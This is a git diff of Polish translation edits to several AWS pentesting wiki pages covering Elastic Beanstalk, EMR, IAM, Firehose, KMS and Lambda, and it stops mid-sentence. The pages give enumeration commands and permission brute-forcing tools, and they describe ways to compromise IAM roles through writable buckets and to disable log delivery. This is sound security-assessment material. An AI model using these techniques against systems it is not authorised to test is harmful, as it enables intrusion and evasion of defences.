-1. **Środowisko Serwera WWW**: Jest zaprojektowane do **hostowania i obsługi aplikacji internetowych i API**. Te aplikacje zazwyczaj obsługują przychodzące żądania HTTP/HTTPS. Środowisko serwera WWW przydziela zasoby takie jak **instancje EC2, równoważniki obciążenia i grupy auto-skalowania**, aby obsługiwać przychodzący ruch, zarządzać pojemnością i zapewnić wysoką dostępność aplikacji.
-2. **Środowisko Pracownika**: Jest zaprojektowane do przetwarzania **zadań w tle**, które często są czasochłonne lub zasobożerne i nie wymagają natychmiastowych odpowiedzi dla klientów. Środowisko pracownika przydziela zasoby takie jak **instancje EC2 i grupy auto-skalowania**, ale **nie ma równoważnika obciążenia**, ponieważ nie obsługuje bezpośrednio żądań HTTP/HTTPS. Zamiast tego, konsumuje zadania z **Amazon Simple Queue Service (SQS)**, które działa jako bufor między środowiskiem pracownika a zadaniami, które przetwarza.
+1. **Środowisko serwera WWW**: Jest zaprojektowane do **hostowania i obsługi aplikacji internetowych oraz API**. Te aplikacje zazwyczaj obsługują przychodzące żądania HTTP/HTTPS. Środowisko serwera WWW przydziela zasoby takie jak **instancje EC2, równoważniki obciążenia i grupy auto-skalowania**, aby obsługiwać ruch przychodzący, zarządzać pojemnością i zapewnić wysoką dostępność aplikacji.
+2. **Środowisko pracownika**: Jest zaprojektowane do przetwarzania **zadań w tle**, które często są czasochłonne lub zasobożerne i nie wymagają natychmiastowych odpowiedzi dla klientów. Środowisko pracownika przydziela zasoby takie jak **instancje EC2 i grupy auto-skalowania**, ale **nie ma równoważnika obciążenia**, ponieważ nie obsługuje bezpośrednio żądań HTTP/HTTPS. Zamiast tego, konsumuje zadania z **Amazon Simple Queue Service (SQS)**, które działa jako bufor między środowiskiem pracownika a zadaniami, które przetwarza.
 
 ### Bezpieczeństwo
 
@@ -64,7 +64,7 @@ Dane Beanstalk są przechowywane w **wiadrze S3** o następującej nazwie: **`el
 > [!WARNING]
 > Jeśli uzyskasz **dostęp do odczytu** do wiadra, możesz **odczytać kod źródłowy** i nawet znaleźć **wrażliwe dane uwierzytelniające** w nim
 >
-> jeśli uzyskasz **dostęp do zapisu** do wiadra, możesz **zmodyfikować kod źródłowy**, aby **skomprymować** **rolę IAM**, której aplikacja używa przy następnym jej wykonaniu.
+> jeśli uzyskasz **dostęp do zapisu** do wiadra, możesz **zmodyfikować kod źródłowy**, aby **skompromitować** **rolę IAM**, której aplikacja używa przy następnym uruchomieniu.
 
 ### Enumeracja
 ```bash
@@ -90,7 +90,7 @@ aws elasticbeanstalk describe-events
 ../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
 {{#endref}}
 
-### Utrzymywanie
+### Utrzymywanie dostępu
 
 {{#ref}}
 ../aws-persistence/aws-elastic-beanstalk-persistence.md
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md
index 2b2e7984a..975cf1344 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md
@@ -4,33 +4,33 @@
 
 ## EMR
 
-Usługa Elastic MapReduce (EMR) AWS, począwszy od wersji 4.8.0, wprowadziła funkcję **konfiguracji zabezpieczeń**, która zwiększa ochronę danych, umożliwiając użytkownikom określenie ustawień szyfrowania dla danych w spoczynku i w tranzycie w klastrach EMR, które są skalowalnymi grupami instancji EC2 zaprojektowanymi do przetwarzania dużych zbiorów danych, takich jak Apache Hadoop i Spark.
+Usługa Elastic MapReduce (EMR) AWS, począwszy od wersji 4.8.0, wprowadziła funkcję **konfiguracji zabezpieczeń**, która zwiększa ochronę danych, umożliwiając użytkownikom określenie ustawień szyfrowania dla danych w spoczynku i w tranzycie w klastrach EMR, które są skalowalnymi grupami instancji EC2 zaprojektowanymi do przetwarzania dużych zbiorów danych w ramach takich jak Apache Hadoop i Spark.
 
 Kluczowe cechy obejmują:
 
 - **Domyślne szyfrowanie klastra**: Domyślnie dane w spoczynku w klastrze nie są szyfrowane. Jednak włączenie szyfrowania zapewnia dostęp do kilku funkcji:
-- **Zunifikowane ustawienie klucza Linux**: Szyfruje wolumeny klastra EBS. Użytkownicy mogą wybrać usługę zarządzania kluczami AWS (KMS) lub niestandardowego dostawcę kluczy.
+- **Zunifikowane ustawienie klucza Linux**: Szyfruje wolumeny klastra EBS. Użytkownicy mogą wybrać AWS Key Management Service (KMS) lub niestandardowego dostawcę kluczy.
 - **Szyfrowanie HDFS open-source**: Oferuje dwie opcje szyfrowania dla Hadoop:
-- Bezpieczny Hadoop RPC (Remote Procedure Call), ustawiony na prywatność, wykorzystujący warstwę zabezpieczeń prostego uwierzytelniania.
+- Bezpieczny Hadoop RPC (Remote Procedure Call), ustawiony na prywatność, wykorzystujący Simple Authentication Security Layer.
 - Szyfrowanie transferu bloków HDFS, ustawione na true, wykorzystuje algorytm AES-256.
-- **Szyfrowanie w tranzycie**: Skupia się na zabezpieczeniu danych podczas transferu. Opcje obejmują:
+- **Szyfrowanie w tranzycie**: Skupia się na zabezpieczaniu danych podczas transferu. Opcje obejmują:
 - **Open Source Transport Layer Security (TLS)**: Szyfrowanie można włączyć, wybierając dostawcę certyfikatów:
-- **PEM**: Wymaga ręcznego utworzenia i spakowania certyfikatów PEM w plik zip, odwołując się do niego z wiadra S3.
+- **PEM**: Wymaga ręcznego utworzenia i spakowania certyfikatów PEM w plik zip, odwołując się do niego z koszyka S3.
 - **Niestandardowy**: Polega na dodaniu niestandardowej klasy Java jako dostawcy certyfikatów, która dostarcza artefakty szyfrowania.
 
 Po zintegrowaniu dostawcy certyfikatów TLS w konfiguracji zabezpieczeń można aktywować następujące funkcje szyfrowania specyficzne dla aplikacji, różniące się w zależności od wersji EMR:
 
 - **Hadoop**:
 - Może zmniejszyć szyfrowany shuffle przy użyciu TLS.
-- Bezpieczny Hadoop RPC z warstwą zabezpieczeń prostego uwierzytelniania i transfer bloków HDFS z AES-256 są aktywowane przy szyfrowaniu w spoczynku.
+- Bezpieczny Hadoop RPC z Simple Authentication Security Layer i transfer bloków HDFS z AES-256 są aktywowane przy szyfrowaniu w spoczynku.
 - **Presto** (wersja EMR 5.6.0+):
 - Wewnętrzna komunikacja między węzłami Presto jest zabezpieczona przy użyciu SSL i TLS.
 - **Tez Shuffle Handler**:
 - Wykorzystuje TLS do szyfrowania.
 - **Spark**:
 - Wykorzystuje TLS dla protokołu Akka.
-- Używa warstwy zabezpieczeń prostego uwierzytelniania i 3DES dla usługi transferu bloków.
-- Zewnętrzna usługa shuffle jest zabezpieczona warstwą zabezpieczeń prostego uwierzytelniania.
+- Używa Simple Authentication Security Layer i 3DES dla usługi transferu bloków.
+- Zewnętrzna usługa shuffle jest zabezpieczona przy użyciu Simple Authentication Security Layer.
 
 Te funkcje wspólnie zwiększają bezpieczeństwo klastrów EMR, szczególnie w zakresie ochrony danych podczas faz przechowywania i transmisji.
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md
index 7afbbb57f..c18569666 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md
@@ -88,13 +88,13 @@ aws iam get-account-password-policy
 aws iam list-mfa-devices
 aws iam list-virtual-mfa-devices
 ```
-### Permissions Brute Force
+### Bruteforce uprawnień
 
-Jeśli interesujesz się swoimi uprawnieniami, ale nie masz dostępu do zapytań IAM, zawsze możesz je wypróbować metodą brute-force.
+Jeśli jesteś zainteresowany swoimi uprawnieniami, ale nie masz dostępu do zapytań IAM, zawsze możesz je bruteforce'ować.
 
 #### bf-aws-permissions
 
-Narzędzie [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) to po prostu skrypt bash, który uruchomi wszystkie akcje **`list*`, `describe*`, `get*`**, które może znaleźć, korzystając z komunikatów pomocy `aws` cli i **zwróci udane wykonania**.
+Narzędzie [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) to po prostu skrypt bash, który uruchomi wszystkie **`list*`, `describe*`, `get*`** akcje, które może znaleźć, korzystając z komunikatów pomocy `aws` cli i **zwróci udane wykonania**.
 ```bash
 # Bruteforce permissions
 bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt
@@ -108,17 +108,17 @@ python3 aws_permissions_checker.py --profile <AWS_PROFILE> [--arn <USER_ARN>]
 ```
 #### Perms2ManagedPolicies
 
-Jeśli znalazłeś **jakieś uprawnienia, które ma twój użytkownik**, i myślisz, że są one przyznawane przez **zarządzaną rolę AWS** (a nie przez niestandardową). Możesz użyć narzędzia [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies), aby sprawdzić wszystkie **zarządzane role AWS, które przyznają uprawnienia, które odkryłeś, że posiadasz**.
+Jeśli znalazłeś **jakieś uprawnienia, które ma twój użytkownik**, i uważasz, że są one przyznawane przez **zarządzaną rolę AWS** (a nie przez niestandardową). Możesz użyć narzędzia [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies), aby sprawdzić wszystkie **zarządzane role AWS, które przyznają uprawnienia, które odkryłeś, że posiadasz**.
 ```bash
 # Run example with my profile
 python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt
 ```
 > [!WARNING]
-> Możliwe jest "wiedzieć", czy uprawnienia, które posiadasz, są przyznawane przez zarządzaną rolę AWS, jeśli zobaczysz, że **masz uprawnienia do usług, które nie są używane** na przykład.
+> Możliwe jest "wiedzieć", czy uprawnienia, które posiadasz, są przyznawane przez zarządzaną rolę AWS, jeśli zobaczysz, że **masz uprawnienia do usług, które nie są używane**, na przykład.
 
 #### Cloudtrail2IAM
 
-[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) to narzędzie w Pythonie, które analizuje **logi AWS CloudTrail, aby wydobyć i podsumować działania** wykonane przez wszystkich lub tylko przez konkretnego użytkownika lub rolę. Narzędzie **przeanalizuje każdy log cloudtrail z wskazanego koszyka**.
+[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) to narzędzie w Pythonie, które analizuje **logi AWS CloudTrail, aby wydobyć i podsumować działania** wykonane przez wszystkich lub tylko przez konkretnego użytkownika lub rolę. Narzędzie **przeanalizuje każdy log cloudtrail z wskazanego bucketu**.
 ```bash
 git clone https://github.com/carlospolop/Cloudtrail2IAM
 cd Cloudtrail2IAM
@@ -126,11 +126,11 @@ pip install -r requirements.txt
 python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS]
 ```
 > [!WARNING]
-> Jeśli znajdziesz pliki .tfstate (pliki stanu Terraform) lub pliki CloudFormation (zwykle są to pliki yaml znajdujące się w wiadrze z prefiksem cf-templates), możesz je również przeczytać, aby znaleźć konfigurację aws i sprawdzić, które uprawnienia zostały przypisane do kogo.
+> Jeśli znajdziesz .tfstate (pliki stanu Terraform) lub pliki CloudFormation (zwykle są to pliki yaml znajdujące się w wiadrze z prefiksem cf-templates), możesz je również przeczytać, aby znaleźć konfigurację aws i sprawdzić, które uprawnienia zostały przypisane do kogo.
 
 #### enumerate-iam
 
-Aby użyć narzędzia [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), najpierw musisz pobrać wszystkie punkty końcowe API AWS, z których skrypt **`generate_bruteforce_tests.py`** pobierze wszystkie **punkty końcowe "list\_", "describe\_" i "get\_".** A na koniec spróbuje **uzyskać do nich dostęp** za pomocą podanych poświadczeń i **wskaże, czy to zadziałało**.
+Aby użyć narzędzia [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), najpierw musisz pobrać wszystkie punkty końcowe API AWS, z których skrypt **`generate_bruteforce_tests.py`** pobierze wszystkie **"list\_", "describe\_" i "get\_" punkty końcowe.** A na koniec spróbuje **uzyskać do nich dostęp** za pomocą podanych poświadczeń i **wskaże, czy to zadziałało**.
 
 (W moim doświadczeniu **narzędzie zawiesza się w pewnym momencie**, [**sprawdź to rozwiązanie**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c), aby spróbować to naprawić).
 
@@ -154,7 +154,7 @@ python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--sess
 ```
 #### weirdAAL
 
-Możesz również użyć narzędzia [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). To narzędzie sprawdzi **kilka powszechnych operacji na kilku powszechnych usługach** (sprawdzi niektóre uprawnienia do enumeracji oraz niektóre uprawnienia do privesc). Ale sprawdzi tylko zakodowane kontrole (jedynym sposobem na sprawdzenie większej liczby rzeczy jest zakodowanie większej liczby testów).
+Możesz również użyć narzędzia [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). To narzędzie sprawdzi **kilka powszechnych operacji na kilku powszechnych usługach** (sprawdzi niektóre uprawnienia do enumeracji oraz niektóre uprawnienia privesc). Ale sprawdzi tylko zakodowane kontrole (jedynym sposobem na sprawdzenie większej liczby rzeczy jest napisanie większej liczby testów).
 ```bash
 # Install
 git clone https://github.com/carnal0wnage/weirdAAL.git
@@ -210,13 +210,13 @@ steampipe dashboard
 
 Żadne z poprzednich narzędzi nie jest w stanie sprawdzić prawie wszystkich uprawnień, więc jeśli znasz lepsze narzędzie, wyślij PR!
 
-### Nieautoryzowany dostęp
+### Unauthenticated Access
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
 {{#endref}}
 
-### Eskalacja uprawnień
+### Privilege Escalation
 
 Na następnej stronie możesz sprawdzić, jak **nadużywać uprawnień IAM, aby eskalować uprawnienia**:
 
@@ -224,27 +224,27 @@ Na następnej stronie możesz sprawdzić, jak **nadużywać uprawnień IAM, aby
 ../aws-privilege-escalation/aws-iam-privesc.md
 {{#endref}}
 
-### Po eksploatacji IAM
+### IAM Post Exploitation
 
 {{#ref}}
 ../aws-post-exploitation/aws-iam-post-exploitation.md
 {{#endref}}
 
-### Utrzymywanie IAM
+### IAM Persistence
 
 {{#ref}}
 ../aws-persistence/aws-iam-persistence.md
 {{#endref}}
 
-## Centrum tożsamości IAM
+## IAM Identity Center
 
-Możesz znaleźć **opis Centrum tożsamości IAM** w:
+Możesz znaleźć **opis IAM Identity Center** w:
 
 {{#ref}}
 ../aws-basic-information/
 {{#endref}}
 
-### Połączenie przez SSO z CLI
+### Connect via SSO with CLI
 ```bash
 # Connect with sso via CLI aws configure sso
 aws configure sso
@@ -255,7 +255,7 @@ sso_account_id = <account_numbre>
 sso_role_name = AdministratorAccess
 sso_region = us-east-1
 ```
-### Enumeration
+### Enumeracja
 
 Główne elementy Identity Center to:
 
@@ -263,7 +263,7 @@ Główne elementy Identity Center to:
 - Zestawy uprawnień: Mają przypisane polityki
 - Konta AWS
 
-Następnie tworzone są relacje, aby użytkownicy/grupy miały Zestawy uprawnień w ramach Konta AWS.
+Następnie tworzone są relacje, aby użytkownicy/grupy miały Zestawy uprawnień nad Kontem AWS.
 
 > [!NOTE]
 > Zauważ, że istnieją 3 sposoby przypisania polityk do Zestawu uprawnień. Przypisanie polityk zarządzanych przez AWS, polityk zarządzanych przez klienta (te polityki muszą być tworzone we wszystkich kontach, na które wpływa Zestaw uprawnień) oraz polityk inline (zdefiniowanych tam).
@@ -300,9 +300,9 @@ aws identitystore list-group-memberships --identity-store-id <store-id> --group-
 ## Get memberships or a user or a group
 aws identitystore list-group-memberships-for-member --identity-store-id <store-id> --member-id <member-id>
 ```
-### Local Enumeration
+### Lokalne enumeracje
 
-Możliwe jest utworzenie wewnątrz folderu `$HOME/.aws` pliku config, aby skonfigurować profile, które są dostępne za pomocą SSO, na przykład:
+Możliwe jest utworzenie w folderze `$HOME/.aws` pliku config, aby skonfigurować profile, które są dostępne za pomocą SSO, na przykład:
 ```ini
 [default]
 region = us-west-2
@@ -349,7 +349,7 @@ external_id = 123456
 ../aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
 {{#endref}}
 
-### Po wykorzystaniu
+### Po eksploatacji
 
 {{#ref}}
 ../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md
index 34cd1527c..8aac307c9 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md
@@ -4,9 +4,9 @@
 
 ## Kinesis Data Firehose
 
-Amazon Kinesis Data Firehose to **w pełni zarządzana usługa**, która ułatwia dostarczanie **danych strumieniowych w czasie rzeczywistym**. Obsługuje różnorodne miejsca docelowe, w tym Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk oraz niestandardowe punkty końcowe HTTP.
+Amazon Kinesis Data Firehose to **w pełni zarządzana usługa**, która ułatwia dostarczanie **danych strumieniowych w czasie rzeczywistym**. Obsługuje różne miejsca docelowe, w tym Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk i niestandardowe punkty końcowe HTTP.
 
-Usługa ta eliminuje potrzebę pisania aplikacji lub zarządzania zasobami, umożliwiając producentom danych skonfigurowanie ich do bezpośredniego przesyłania danych do Kinesis Data Firehose. Usługa ta jest odpowiedzialna za **automatyczne dostarczanie danych do określonego miejsca docelowego**. Dodatkowo, Kinesis Data Firehose oferuje opcję **przekształcania danych przed ich dostarczeniem**, co zwiększa jej elastyczność i zastosowanie w różnych przypadkach użycia.
+Usługa ta eliminuje potrzebę pisania aplikacji lub zarządzania zasobami, umożliwiając producentom danych skonfigurowanie ich do bezpośredniego przesyłania danych do Kinesis Data Firehose. Usługa ta odpowiada za **automatyczne dostarczanie danych do określonego miejsca docelowego**. Dodatkowo, Kinesis Data Firehose oferuje opcję **przekształcania danych przed ich dostarczeniem**, co zwiększa jej elastyczność i zastosowanie w różnych przypadkach użycia.
 
 ### Enumeration
 ```bash
@@ -18,7 +18,7 @@ aws firehose describe-delivery-stream --delivery-stream-name <name>
 ## Get roles
 aws firehose describe-delivery-stream --delivery-stream-name <name> | grep -i RoleARN
 ```
-## Post-exploitation / Obchodzenie Ochrony
+## Post-exploitation / Ominięcie obrony
 
 W przypadku, gdy firehose jest używany do wysyłania logów lub informacji o obronie, korzystając z tych funkcji, atakujący mógłby uniemożliwić jego prawidłowe działanie.
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md
index ecf808cf1..ca841895f 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md
@@ -4,13 +4,13 @@
 
 ## KMS - Usługa Zarządzania Kluczami
 
-AWS Key Management Service (AWS KMS) jest przedstawiana jako zarządzana usługa, upraszczająca proces **tworzenia i zarządzania kluczami głównymi klientów** (CMK). Te CMK są integralne w szyfrowaniu danych użytkowników. Cechą wyróżniającą AWS KMS jest to, że CMK są głównie **zabezpieczane przez moduły bezpieczeństwa sprzętowego** (HSM), co zwiększa ochronę kluczy szyfrujących.
+AWS Key Management Service (AWS KMS) jest przedstawiana jako zarządzana usługa, upraszczająca proces dla użytkowników w **tworzeniu i zarządzaniu kluczami głównymi klientów** (CMK). Te CMK są integralne w szyfrowaniu danych użytkowników. Cechą wyróżniającą AWS KMS jest to, że CMK są głównie **zabezpieczane przez moduły bezpieczeństwa sprzętowego** (HSM), co zwiększa ochronę kluczy szyfrujących.
 
 KMS używa **szyfrowania symetrycznego**. Jest ono używane do **szyfrowania informacji w spoczynku** (na przykład, wewnątrz S3). Jeśli potrzebujesz **szyfrować informacje w tranzycie**, musisz użyć czegoś takiego jak **TLS**.
 
 KMS jest **usługą specyficzną dla regionu**.
 
-**Administratorzy w Amazonie nie mają dostępu do twoich kluczy**. Nie mogą odzyskać twoich kluczy i nie pomagają w szyfrowaniu twoich kluczy. AWS po prostu zarządza systemem operacyjnym i podstawową aplikacją, to od nas zależy zarządzanie naszymi kluczami szyfrującymi i tym, jak te klucze są używane.
+**Administratorzy w Amazonie nie mają dostępu do twoich kluczy**. Nie mogą odzyskać twoich kluczy i nie pomagają w szyfrowaniu twoich kluczy. AWS po prostu zarządza systemem operacyjnym i podstawową aplikacją, to my musimy zarządzać naszymi kluczami szyfrującymi i kontrolować, jak te klucze są używane.
 
 **Klucze Główne Klienta** (CMK): Mogą szyfrować dane o rozmiarze do 4KB. Zwykle są używane do tworzenia, szyfrowania i deszyfrowania DEK-ów (Kluczy Szyfrujących Danych). Następnie DEK-i są używane do szyfrowania danych.
 
@@ -21,7 +21,7 @@ Istnieją 2 typy kluczy głównych:
 - **CMK zarządzane przez AWS: Używane przez inne usługi do szyfrowania danych**. Są używane przez usługę, która je utworzyła w danym regionie. Są tworzone po raz pierwszy, gdy wdrażasz szyfrowanie w tej usłudze. Rotują co 3 lata i nie ma możliwości ich zmiany.
 - **CMK zarządzane przez klienta**: Elastyczność, rotacja, konfigurowalny dostęp i polityka klucza. Włączanie i wyłączanie kluczy.
 
-**Szyfrowanie w Kopercie** w kontekście Usługi Zarządzania Kluczami (KMS): System hierarchii dwóch poziomów do **szyfrowania danych za pomocą klucza danych, a następnie szyfrowania klucza danych za pomocą klucza głównego**.
+**Szyfrowanie w Kopercie** w kontekście Usługi Zarządzania Kluczami (KMS): System hierarchii dwupoziomowej do **szyfrowania danych za pomocą klucza danych, a następnie szyfrowania klucza danych za pomocą klucza głównego**.
 
 ### Polityki Kluczy
 
@@ -29,13 +29,13 @@ Te definiują **kto może używać i uzyskiwać dostęp do klucza w KMS**.
 
 **Domyślnie:**
 
-- Daje **IAM konta AWS, które posiada klucz KMS dostęp** do zarządzania dostępem do klucza KMS za pośrednictwem IAM.
+- Daje to **IAM konta AWS, które posiada klucz KMS dostęp** do zarządzania dostępem do klucza KMS za pośrednictwem IAM.
 
-W przeciwieństwie do innych polityk zasobów AWS, polityka **klucza KMS nie przyznaje automatycznie uprawnień żadnemu z podmiotów konta**. Aby przyznać uprawnienia administratorom konta, **polityka klucza musi zawierać wyraźne oświadczenie** przyznające te uprawnienia, takie jak to.
+W przeciwieństwie do innych polityk zasobów AWS, polityka **klucza KMS AWS nie przyznaje automatycznie uprawnień żadnemu z podmiotów konta**. Aby przyznać uprawnienia administratorom konta, **polityka klucza musi zawierać wyraźne oświadczenie** przyznające te uprawnienia, takie jak to.
 
 - Bez zezwolenia konta (`"AWS": "arn:aws:iam::111122223333:root"`) uprawnienia IAM nie będą działać.
 
-- **Pozwala kontu używać polityk IAM** do zezwolenia na dostęp do klucza KMS, oprócz polityki klucza.
+- **Pozwala to kontu używać polityk IAM** do zezwolenia na dostęp do klucza KMS, oprócz polityki klucza.
 
 **Bez tego zezwolenia polityki IAM, które pozwalają na dostęp do klucza, są nieskuteczne**, chociaż polityki IAM, które odmawiają dostępu do klucza, są nadal skuteczne.
 
@@ -54,7 +54,7 @@ W przeciwieństwie do innych polityk zasobów AWS, polityka **klucza KMS nie prz
 }
 ```
 > [!WARNING]
-> Jeśli **konto jest dozwolone** (`"arn:aws:iam::111122223333:root"`), **podmiot** z konta **wciąż potrzebuje uprawnień IAM**, aby używać klucza KMS. Jednak jeśli **ARN** roli na przykład jest **specjalnie dozwolony** w **polityce klucza**, ta rola **nie potrzebuje uprawnień IAM**.
+> Jeśli **konto jest dozwolone** (`"arn:aws:iam::111122223333:root"`), **podmiot** z konta **wciąż potrzebuje uprawnień IAM** do użycia klucza KMS. Jednak jeśli **ARN** roli na przykład jest **specjalnie dozwolony** w **polityce klucza**, ta rola **nie potrzebuje uprawnień IAM**.
 
 <details>
 
@@ -69,16 +69,16 @@ Właściwości polityki:
 - Podmiot --> arn dotknięty
 - Warunki (opcjonalne) --> Warunek przyznający uprawnienia
 
-Granty:
+Uprawnienia:
 
-- Zezwala na delegowanie swoich uprawnień innemu podmiotowi AWS w ramach twojego konta AWS. Musisz je utworzyć za pomocą interfejsów API AWS KMS. Można wskazać identyfikator CMK, podmiot granta oraz wymagany poziom operacji (Decrypt, Encrypt, GenerateDataKey...)
-- Po utworzeniu grantu wydawany jest GrantToken i GrantID
+- Zezwala na delegowanie swoich uprawnień innemu podmiotowi AWS w ramach twojego konta AWS. Musisz je utworzyć za pomocą interfejsów API AWS KMS. Można wskazać identyfikator CMK, podmiot uprawniony i wymagany poziom operacji (Decrypt, Encrypt, GenerateDataKey...)
+- Po utworzeniu uprawnienia wydawany jest GrantToken i GrantID
 
 **Dostęp**:
 
 - Poprzez **politykę klucza** -- Jeśli to istnieje, ma **pierwszeństwo** przed polityką IAM
 - Poprzez **politykę IAM**
-- Poprzez **granty**
+- Poprzez **uprawnienia**
 
 </details>
 
@@ -87,12 +87,12 @@ Granty:
 Administratorzy kluczy domyślnie:
 
 - Mają dostęp do zarządzania KMS, ale nie do szyfrowania ani deszyfrowania danych
-- Tylko użytkownicy IAM i role mogą być dodawani do listy administratorów kluczy (nie grupy)
+- Tylko użytkownicy i role IAM mogą być dodawani do listy administratorów kluczy (nie grupy)
 - Jeśli używany jest zewnętrzny CMK, administratorzy kluczy mają uprawnienia do importowania materiału klucza
 
 ### Rotacja CMK
 
-- Im dłużej ten sam klucz pozostaje na miejscu, tym więcej danych jest szyfrowanych tym kluczem, a jeśli ten klucz zostanie naruszony, tym szerszy obszar danych jest narażony na ryzyko. Oprócz tego, im dłużej klucz jest aktywny, tym większe prawdopodobieństwo jego naruszenia.
+- Im dłużej ten sam klucz pozostaje na miejscu, tym więcej danych jest szyfrowanych tym kluczem, a jeśli ten klucz zostanie naruszony, tym szerszy obszar danych jest narażony na ryzyko. Oprócz tego, im dłużej klucz jest aktywny, tym większe prawdopodobieństwo, że zostanie naruszony.
 - **KMS rotuje klucze klientów co 365 dni** (lub możesz przeprowadzić ten proces ręcznie, kiedy chcesz) oraz **klucze zarządzane przez AWS co 3 lata**, a tego czasu nie można zmienić.
 - **Starsze klucze są zachowywane** do deszyfrowania danych, które zostały zaszyfrowane przed rotacją
 - W przypadku naruszenia, rotacja klucza nie usunie zagrożenia, ponieważ możliwe będzie deszyfrowanie wszystkich danych zaszyfrowanych skompromitowanym kluczem. Jednak **nowe dane będą szyfrowane nowym kluczem**.
@@ -100,7 +100,7 @@ Administratorzy kluczy domyślnie:
 
 #### Ręczna rotacja
 
-- **Nowy CMK musi być utworzony**, następnie tworzony jest nowy identyfikator CMK, więc będziesz musiał **zaktualizować** każdą **aplikację**, aby **odnosiła się** do nowego identyfikatora CMK.
+- **Nowy CMK musi być utworzony**, następnie tworzony jest nowy CMK-ID, więc będziesz musiał **zaktualizować** każdą **aplikację**, aby **odnosiła się** do nowego CMK-ID.
 - Aby ułatwić ten proces, możesz **używać aliasów do odniesienia się do identyfikatora klucza** i następnie po prostu zaktualizować klucz, do którego odnosi się alias.
 - Musisz **zachować stare klucze, aby deszyfrować stare pliki** zaszyfrowane tym kluczem.
 
@@ -108,7 +108,7 @@ Możesz importować klucze z własnej infrastruktury kluczy lokalnych.
 
 ### Inne istotne informacje KMS
 
-KMS jest wyceniane na podstawie liczby żądań szyfrowania/deszyfrowania otrzymanych ze wszystkich usług miesięcznie.
+KMS jest wyceniane na podstawie liczby żądań szyfrowania/deszyfrowania otrzymanych od wszystkich usług miesięcznie.
 
 KMS ma pełną audyt i zgodność **integrację z CloudTrail**; to tutaj możesz audytować wszystkie zmiany dokonane w KMS.
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md
index 15dbe7c7c..52ac59859 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md
@@ -6,22 +6,22 @@
 
 Amazon Web Services (AWS) Lambda jest opisana jako **usługa obliczeniowa**, która umożliwia wykonywanie kodu bez konieczności provisionowania lub zarządzania serwerami. Charakteryzuje się zdolnością do **automatycznego zarządzania alokacją zasobów** potrzebnych do wykonania kodu, zapewniając takie funkcje jak wysoka dostępność, skalowalność i bezpieczeństwo. Istotnym aspektem Lambda jest jej model cenowy, w którym **opłaty są oparte wyłącznie na czasie obliczeniowym**, eliminując potrzebę początkowych inwestycji lub długoterminowych zobowiązań.
 
-Aby wywołać lambdę, można ją wywoływać **tak często, jak chcesz** (z Cloudwatch), **ekspozycja** punktu końcowego **URL** i wywołanie go, wywołanie go za pomocą **API Gateway** lub nawet na podstawie **zdarzeń**, takich jak **zmiany** w danych w **S3** lub aktualizacje w tabeli **DynamoDB**.
+Aby wywołać lambdę, można ją wywoływać **tak często, jak chcesz** (z Cloudwatch), **ekspozycja** punktu **URL** i wywołanie go, wywołanie go za pomocą **API Gateway** lub nawet na podstawie **zdarzeń**, takich jak **zmiany** w danych w **S3** lub aktualizacje w tabeli **DynamoDB**.
 
 **Kod** lambdy jest przechowywany w **`/var/task`**.
 
 ### Wagi aliasów Lambda
 
-Lambdę można mieć **kilka wersji**.\
-Może mieć **więcej niż 1** wersję eksponowaną za pomocą **aliasów**. **Wagi** **każdej** z **wersji** eksponowanej w aliasie zdecydują, **który alias otrzyma wywołanie** (może to być na przykład 90%-10%).\
-Jeśli kod **jednego** z aliasów jest **vulnerable**, możesz wysyłać **żądania, aż wrażliwa** wersja otrzyma exploit.
